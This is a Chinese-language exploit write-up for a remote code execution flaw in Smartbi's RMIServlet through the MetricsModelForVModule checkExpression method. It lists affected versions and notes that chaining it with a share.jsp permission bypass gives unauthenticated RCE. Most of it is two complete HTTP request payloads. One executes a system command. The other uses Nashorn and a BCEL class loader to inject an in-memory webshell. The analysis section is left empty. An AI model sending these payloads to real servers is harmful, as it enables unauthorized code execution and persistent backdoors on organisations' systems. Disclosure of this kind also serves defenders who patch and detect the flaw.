Smartbi 后台 MetricsModelForVModule 远程代码执行漏洞

声明

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利用 /smartbi/vision/RMIServlet 调用 MetricsModelForVModule 的 checkExpression 方法执行 ScriptEngine js 代码，与 Smartbi share.jsp 权限绕过（QVD-2025-31926）同时被发现，组合拳可直接前台 RCE。

影响版本

Smartbi <= 11.0.99471.25193

漏洞复现

RCE

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 172.16.31.34:18080
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="24", "Google Chrome";v="139"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=B773584B5656D2478F7BDB5D1580037C
Content-Length: 116
 
className=MetricsModelForVModule&methodName=checkExpression&params=["java.lang.Runtime.getRuntime().exec(\"calc\")"]

注入内存马

利用 nashornjs 注入内存马， 替换 $$BCEL$$ 字节码：

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 172.16.31.34:18080
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="24", "Google Chrome";v="139"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=B773584B5656D2478F7BDB5D1580037C
Content-Length: 362
 
className=MetricsModelForVModule&methodName=checkExpression&params=["try {load('nashorn:mozilla_compat.js');}catch (e) {}importPackage(Packages.sun.misc); new com.sun.org.apache.bcel.internal.util.ClassLoader(new java.net.URLClassLoader(URLClassPath.pathToURLs(''),java.lang.Thread.currentThread().getContextClassLoader())).loadClass('$$BCEL$$').newInstance();"]

漏洞分析

待定。

参考链接

https://mp.weixin.qq.com/s/aIyGt5OKlYCL-NPfd0G2Jw